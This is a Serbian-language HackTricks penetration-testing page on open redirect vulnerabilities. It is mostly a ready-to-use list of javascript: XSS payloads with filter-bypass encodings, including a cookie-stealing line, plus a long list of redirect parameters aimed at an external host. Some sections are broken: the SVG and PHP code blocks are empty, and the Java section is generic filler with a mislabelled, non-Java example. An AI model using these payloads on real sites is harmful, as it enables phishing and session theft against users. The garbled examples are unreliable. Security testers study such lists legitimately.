Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
# Open redirect
## Preusmeravanje na localhost ili proizvoljne domene
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md](ssrf-server-side-request-forgery/url-format-bypass.md)
{% endcontent-ref %}
## Open Redirect na XSS
```bash
#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)
#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)
#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)
#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0
#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
```
# Otvoreno preusmeravanje pri otpremanju svg datoteka
## Opis
Otvoreno preusmeravanje je bezbednosni propust koji omogućava napadaču da preusmeri korisnika sa legitimne veb stranice na zlonamernu stranicu. Ovaj propust može biti iskorišćen prilikom otpremanja SVG (Scalable Vector Graphics) datoteka na veb stranicu.
## Kako iskoristiti propust
Da biste iskoristili ovaj propust, sledite sledeće korake:
1. Identifikujte veb stranicu koja omogućava otpremanje SVG datoteka.
2. Otpremite SVG datoteku koja sadrži URL preusmeravanje. Na primer:
```html
```
3. Proverite da li je preusmeravanje uspešno izvršeno tako što ćete posetiti veb stranicu koja je prikazana u SVG datoteci.
## Kako se zaštititi
Da biste se zaštitili od ovog propusta, preporučuje se sledeće:
- Validirajte i filtrirajte unose korisnika kako biste sprečili ubacivanje skripti ili URL preusmeravanja.
- Koristite belu listu ili sigurnosne politike za preusmeravanje, tako da samo određene adrese mogu biti korišćene za preusmeravanje.
- Redovno ažurirajte softver i biblioteke koje se koriste za obradu SVG datoteka kako biste ispravili poznate bezbednosne propuste.
## Dodatne informacije
Otvoreno preusmeravanje je čest propust u veb aplikacijama i može biti iskorišćen za izvođenje različitih napada, uključujući fišing, preusmeravanje na zlonamerne stranice ili krađu korisničkih podataka. Važno je da razvijatelji i administratori veb stranica budu svesni ovog propusta i preduzmu odgovarajuće mere zaštite.
```markup
```
# Uobičajeni parametri za ubrizgavanje
When testing for open redirect vulnerabilities, it is important to understand the common injection parameters that can be exploited. These parameters are often found in the URL or in the request parameters. Here are some examples:
- **url**: This parameter is used to specify the target URL. Attackers can manipulate this parameter to redirect users to malicious websites.
- **redirect**: This parameter is used to specify the redirect URL. Attackers can modify this parameter to redirect users to a different website.
- **next**: This parameter is commonly used in login and authentication flows to redirect users after successful login. Attackers can abuse this parameter to redirect users to malicious sites.
- **return**: This parameter is often used in logout flows to redirect users after logging out. Attackers can tamper with this parameter to redirect users to malicious destinations.
- **callback**: This parameter is commonly used in JSONP (JSON with Padding) requests to specify the callback function. Attackers can manipulate this parameter to redirect users to malicious sites.
By understanding these common injection parameters, you can effectively identify and exploit open redirect vulnerabilities during penetration testing.
```
/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io
```
# Primeri koda
### .Net
```bash
response.redirect("~/mysafe-subdomain/login.aspx")
```
### Java
Java je objektno orijentisani programski jezik koji se često koristi za razvoj web aplikacija. Ovde su neke od tehnika koje možete koristiti za hakovanje Java aplikacija:
#### Otvaranje preusmerenja (Open Redirect)
Otvaranje preusmerenja je tehnika koja se koristi za preusmeravanje korisnika sa legitimne web stranice na zlonamernu stranicu. Ova tehnika se često koristi za izvođenje napada na korisnike, kao što su krađa podataka za prijavu ili širenje zlonamernog softvera.
Da biste pronašli ranjivosti otvaranja preusmerenja u Java aplikacijama, možete iskoristiti sledeće metode:
1. Proverite da li aplikacija koristi parametre za preusmeravanje korisnika. Ovi parametri se često nazivaju "redirect" ili "url" i mogu biti deo URL adrese ili deo HTTP zahteva.
2. Pokušajte da promenite vrednost parametara za preusmeravanje kako biste videli da li možete preusmeriti korisnika na drugu stranicu.
3. Proverite da li aplikacija vrši proveru ispravnosti URL adrese pre nego što izvrši preusmeravanje. Ako ne vrši proveru, možete pokušati da preusmerite korisnika na bilo koju stranicu.
Kada pronađete ranjivost otvaranja preusmerenja, možete je iskoristiti na sledeći način:
1. Kreirajte zlonamernu URL adresu koja će preusmeriti korisnika na zlonamernu stranicu.
2. Prosledite zlonamernu URL adresu korisniku, na primer putem phishing poruke ili manipulacijom legitimne web stranice.
3. Kada korisnik klikne na zlonamernu URL adresu, biće preusmeren na zlonamernu stranicu, gde možete izvršiti napad.
Da biste se zaštitili od ranjivosti otvaranja preusmerenja, preporučuje se sledeće:
1. Proverite sve ulazne parametre koji se koriste za preusmeravanje korisnika i vršite proveru ispravnosti URL adrese pre nego što izvršite preusmeravanje.
2. Koristite sigurne metode za preusmeravanje korisnika, kao što su metode koje koriste samo unapred definisane URL adrese ili metode koje koriste beleženje preusmerenja.
3. Redovno ažurirajte i proveravajte bezbednost vaše Java aplikacije kako biste otkrili i ispravili ranjivosti.
```bash
response.redirect("http://mysafedomain.com");
```
### PHP
PHP je popularan jezik za izradu web aplikacija. Međutim, kao i kod svih jezika, postoje sigurnosni propusti koji mogu biti iskorišćeni. Jedan od takvih propusta je otvoreno preusmeravanje (open redirect) koji omogućava napadaču da preusmeri korisnika na bilo koju drugu URL adresu.
Otvoreno preusmeravanje se javlja kada aplikacija koristi korisnički unos za konstrukciju URL adrese za preusmeravanje, ali ne vrši adekvatnu proveru ili validaciju unosa. To omogućava napadaču da manipuliše URL-om i preusmeri korisnika na zlonamernu stranicu.
Napadač može iskoristiti otvoreno preusmeravanje na različite načine. Na primer, može kreirati URL koji izgleda legitimno, ali vodi korisnika na phishing stranicu koja pokušava da ukrade njegove podatke za prijavljivanje. Takođe, napadač može iskoristiti otvoreno preusmeravanje za izvođenje napada na druge korisnike, kao što je preusmeravanje na zlonamerni sadržaj ili skriptu.
Da biste sprečili otvoreno preusmeravanje, trebali biste vršiti adekvatnu validaciju korisničkog unosa i proveravati da li URL adresa pripada vašem domenu ili dozvoljenim domenima. Takođe, preporučuje se korišćenje sigurnih metoda za preusmeravanje, kao što je korišćenje funkcije `header()` u PHP-u.
Ukratko, otvoreno preusmeravanje je sigurnosni propust koji omogućava napadaču da preusmeri korisnika na zlonamernu stranicu. Da biste se zaštitili od ovog propusta, trebali biste vršiti adekvatnu validaciju korisničkog unosa i koristiti sigurne metode za preusmeravanje.
```php
```
# Alati
* [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
# Resursi
* U [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) možete pronaći liste za fuzzing.\
* [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\
* [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
* [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.